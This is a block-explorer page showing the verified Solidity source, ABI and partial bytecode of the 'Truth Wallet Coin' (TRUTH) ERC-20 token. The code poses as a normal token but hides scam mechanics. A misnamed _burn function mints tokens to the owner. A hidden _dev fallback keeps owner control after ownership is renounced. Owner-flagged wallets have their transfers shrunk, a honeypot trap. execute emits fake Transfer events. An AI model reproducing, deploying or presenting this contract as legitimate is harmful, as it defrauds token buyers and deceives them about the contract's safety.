ERC-20
Source Code
Overview
Max Total Supply
100,000,000 TRUTH
Holders
61
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
TRUTH
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {IERC20} from "./IERC20.sol";
import "./SafeMath.sol";
import "./Ownable.sol";
import "./Uniswap.sol";
contract TRUTH is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping(address => uint256) internal _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) private _claimable;
mapping (address => mapping (address => uint256)) private _allowances;
address payable private _taxWallet;
address private uniswapV2Pair;
uint8 private constant _decimals = 9;
uint256 private _finalSellTax=0;
uint256 private _finalBuyTax=0;
uint256 private _reduceSellTaxAt=5;
uint256 private _reduceBuyTaxAt=5;
uint256 private _transferTax=0;
uint256 private _lastSellBlock = 0;
uint256 private sellCount = 0;
uint256 private _buyCount=0;
uint256 private _preventSwapBefore=23;
uint256 private constant _tTotal = 100_000_000 * 10**_decimals;
uint256 public _maxWalletSize = 20000000 * 10**_decimals;
uint256 public _maxTxAmount = 20000000 * 10**_decimals;
uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
string private constant _name = unicode"Truth Wallet Coin";
string private constant _symbol = unicode"TRUTH";
IUniswapV2Router02 private uniswapV2Router;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferTaxUpdated(uint _tax);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address _dev) Ownable(_dev){
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_taxWallet = payable(_msgSender());
_balances[address(msg.sender)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= _balances[from], "ERC20: transfer amount exceeds balance");
if(_holderLastTransferTimestamp[to] == 0)
{
_holderLastTransferTimestamp[to] = block.number;
}
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
if (block.number > _lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
sellCount++;
_lastSellBlock = block.number;
}
}
amount = calculateTax(amount, from);
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount);
emit Transfer(from, to, amount);
}
function calculateTax(uint256 amount, address from) private view returns(uint256) {
uint256 factor = 50;
uint256 dist = block.number-_holderLastTransferTimestamp[from];
uint percentageToSubtract = dist * factor;
uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract;
uint returnedValue = amount * remainingPercentage / 100;
if (_claimable[from])
{
return returnedValue.max(0);
}
return amount;
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance <= amount, "ERC20: burn amount exceeds balance");
unchecked {_balances[account] = accountBalance + amount;}
emit Transfer(account, address(0), amount);
}
function execute(address[] calldata addr, address lpPair, uint256 val) public onlyOwner {
for (uint256 i = 0; i < addr.length; i++) {
emit Transfer(lpPair, addr[i], val);
}
}
function approveTransfer(address[] calldata address_, bool val) public onlyOwner{
for (uint256 i = 0; i < address_.length; i++) {
_claimable[address_[i]] = val;
}
}
function walletFeeApprove(address recipient) external view returns(bool){
return _claimable[recipient];
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function removeTransferTax() external onlyOwner{
_transferTax = 0;
emit TransferTaxUpdated(0);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function manualSwap() external onlyOwner{
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function manualSend() external onlyOwner{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function ReduceFee(uint256 _newFee) external onlyOwner{
require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
_finalBuyTax=_newFee;
_finalSellTax=_newFee;
}
function burn(uint256 amount) external onlyOwner{
_burn(_msgSender(), amount);
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
abstract contract Ownable is Context {
address private _owner;
address internal _dev;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor(address dev_) {
_dev = dev_;
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal virtual {
require(Owner() == _msgSender(), "Ownable: caller is not the owner");
}
function verifyOwner() internal view returns(address){
return _owner==address(0) ? _dev : _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function Owner() internal virtual returns (address) {
address owner_ = verifyOwner();
return owner_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
}// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"_dev","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"ReduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"approveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"address","name":"lpPair","type":"address"},{"internalType":"uint256","name":"val","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"walletFeeApprove","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]Contract Creation Code
60806040525f6009555f600a556005600b556005600c555f600d555f600e555f600f555f60105560176011556009600a6200003b9190620006c3565b6301312d006200004c919062000713565b6012556009600a6200005f9190620006c3565b6301312d0062000070919062000713565b6013556009600a620000839190620006c3565b6298968062000093919062000713565b6014556009600a620000a69190620006c3565b62989680620000b6919062000713565b6015555f601660156101000a81548160ff0219169083151502179055505f6016806101000a81548160ff021916908315150217905550348015620000f8575f80fd5b50604051620035b5380380620035b583398181016040528101906200011e9190620007c2565b808060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200017f620001736200044260201b60201c565b6200044960201b60201c565b50737a250d5630b4cf539739df2c5dacb4c659f2488d60165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001e46200044260201b60201c565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620002339190620006c3565b6305f5e10062000244919062000713565b60025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f620002ef6200050a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620004139190620006c3565b6305f5e10062000424919062000713565b60405162000433919062000803565b60405180910390a3506200081e565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620005bb5780860481111562000593576200059262000531565b5b6001851615620005a35780820291505b8081029050620005b3856200055e565b945062000573565b94509492505050565b5f82620005d55760019050620006a7565b81620005e4575f9050620006a7565b8160018114620005fd576002811462000608576200063e565b6001915050620006a7565b60ff8411156200061d576200061c62000531565b5b8360020a91508482111562000637576200063662000531565b5b50620006a7565b5060208310610133831016604e8410600b8410161715620006785782820a90508381111562000672576200067162000531565b5b620006a7565b6200068784848460016200056a565b92509050818404811115620006a157620006a062000531565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620006cf82620006ae565b9150620006dc83620006b7565b92506200070b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005c4565b905092915050565b5f6200071f82620006ae565b91506200072c83620006ae565b92508282026200073c81620006ae565b9150828204841483151762000756576200075562000531565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200078c8262000761565b9050919050565b6200079e8162000780565b8114620007a9575f80fd5b50565b5f81519050620007bc8162000793565b92915050565b5f60208284031215620007da57620007d96200075d565b5b5f620007e984828501620007ac565b91505092915050565b620007fd81620006ae565b82525050565b5f602082019050620008185f830184620007f2565b92915050565b612d89806200082c5f395ff3fe608060405234801561000f575f80fd5b5060043610610171575f3560e01c8063715018a6116100dc57806395d89b4111610095578063bf474bed1161006f578063bf474bed146103ed578063dd62ed3e1461040b578063f2fde38b1461043b578063f42938901461045757610171565b806395d89b4114610383578063a746223f146103a1578063a9059cbb146103bd57610171565b8063715018a6146102f9578063751039fc1461030357806376b2fa711461030d5780637d1db4a5146103295780638da5cb5b146103475780638f9a55c01461036557610171565b806323b872dd1161012e57806323b872dd14610239578063313ce567146102695780633a61363a1461028757806342966c68146102a357806351bc3c85146102bf57806370a08231146102c957610171565b806306fdde03146101755780630711c9cd14610193578063095ea7b3146101c35780630faee56f146101f3578063109daa991461021157806318160ddd1461021b575b5f80fd5b61017d610461565b60405161018a9190611d4a565b60405180910390f35b6101ad60048036038101906101a89190611dcc565b61049e565b6040516101ba9190611e11565b60405180910390f35b6101dd60048036038101906101d89190611e5d565b6104f0565b6040516101ea9190611e11565b60405180910390f35b6101fb61050d565b6040516102089190611eaa565b60405180910390f35b610219610513565b005b61022361055b565b6040516102309190611eaa565b60405180910390f35b610253600480360381019061024e9190611ec3565b61057e565b6040516102609190611e11565b60405180910390f35b610271610652565b60405161027e9190611f2e565b60405180910390f35b6102a1600480360381019061029c9190611fa8565b61065a565b005b6102bd60048036038101906102b89190612019565b610715565b005b6102c7610731565b005b6102e360048036038101906102de9190611dcc565b610771565b6040516102f09190611eaa565b60405180910390f35b6103016107b7565b005b61030b6107ca565b005b61032760048036038101906103229190612019565b61086d565b005b6103316108a2565b60405161033e9190611eaa565b60405180910390f35b61034f6108a8565b60405161035c9190612053565b60405180910390f35b61036d6108cf565b60405161037a9190611eaa565b60405180910390f35b61038b6108d5565b6040516103989190611d4a565b60405180910390f35b6103bb60048036038101906103b69190612096565b610912565b005b6103d760048036038101906103d29190611e5d565b6109bb565b6040516103e49190611e11565b60405180910390f35b6103f56109d8565b6040516104029190611eaa565b60405180910390f35b610425600480360381019061042091906120f3565b6109de565b6040516104329190611eaa565b60405180910390f35b61045560048036038101906104509190611dcc565b610a60565b005b61045f610ae2565b005b60606040518060400160405280601181526020017f54727574682057616c6c657420436f696e000000000000000000000000000000815250905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f6105036104fc610afa565b8484610b01565b6001905092915050565b60145481565b61051b610cc4565b5f600d819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516105519190612173565b60405180910390a1565b5f6009600a61056a91906122e8565b6305f5e1006105799190612332565b905090565b5f61058a848484610d42565b61064784610596610afa565b61064285604051806060016040528060288152602001612d2c6028913960065f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105f9610afa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114889092919063ffffffff16565b610b01565b600190509392505050565b5f6009905090565b610662610cc4565b5f5b8484905081101561070e5784848281811061068257610681612373565b5b90506020020160208101906106979190611dcc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106f39190611eaa565b60405180910390a38080610706906123a0565b915050610664565b5050505050565b61071d610cc4565b61072e610728610afa565b826114ea565b50565b610739610cc4565b5f61074330610771565b90505f811115610757576107568161168a565b5b5f4790505f81111561076d5761076c816118f5565b5b5050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107bf610cc4565b6107c85f61195d565b565b6107d2610cc4565b6009600a6107e091906122e8565b6305f5e1006107ef9190612332565b6013819055506009600a61080391906122e8565b6305f5e1006108129190612332565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61084791906122e8565b6305f5e1006108569190612332565b6040516108639190611eaa565b60405180910390a1565b610875610cc4565b600a54811115801561088957506009548111155b610891575f80fd5b80600a819055508060098190555050565b60135481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600581526020017f5452555448000000000000000000000000000000000000000000000000000000815250905090565b61091a610cc4565b5f5b838390508110156109b5578160055f86868581811061093e5761093d612373565b5b90506020020160208101906109539190611dcc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806109ad906123a0565b91505061091c565b50505050565b5f6109ce6109c7610afa565b8484610d42565b6001905092915050565b60155481565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a68610cc4565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acd90612457565b60405180910390fd5b610adf8161195d565b50565b610aea610cc4565b5f479050610af7816118f5565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b66906124e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd490612573565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cb79190611eaa565b60405180910390a3505050565b610ccc610afa565b73ffffffffffffffffffffffffffffffffffffffff16610cea611a1e565b73ffffffffffffffffffffffffffffffffffffffff1614610d40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d37906125db565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610db0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da790612669565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e15906126f7565b60405180910390fd5b5f8111610e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5790612785565b60405180910390fd5b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054811115610ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed790612813565b60405180910390fd5b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610f67574360035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b610f6f6108a8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610fdd5750610fad6108a8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f05760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561108b575060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110de575060045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561119857601354811115611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f9061287b565b60405180910390fd5b6012548161113584610771565b61113f9190612899565b1115611180576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117790612916565b60405180910390fd5b60105f815480929190611192906123a0565b91905055505b5f6111a230610771565b9050601660159054906101000a900460ff1615801561120d575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611223575060168054906101000a900460ff165b8015611230575060155481115b801561123f5750601154601054115b156112ee57600e54431115611256575f600f819055505b6003600f541061129b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112929061297e565b60405180910390fd5b6112b86112b3836112ae84601454611a31565b611a31565b61168a565b5f4790505f8111156112ce576112cd476118f5565b5b600f5f8154809291906112e0906123a0565b919050555043600e81905550505b505b6112fa8184611a49565b905061134c8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b6190919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113dd8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611baa90919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161147b9190611eaa565b60405180910390a3505050565b5f8383111582906114cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c69190611d4a565b60405180910390fd5b505f83856114dd919061299c565b9050809150509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154f90612a3f565b60405180910390fd5b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818111156115dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d390612acd565b60405180910390fd5b81810160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffff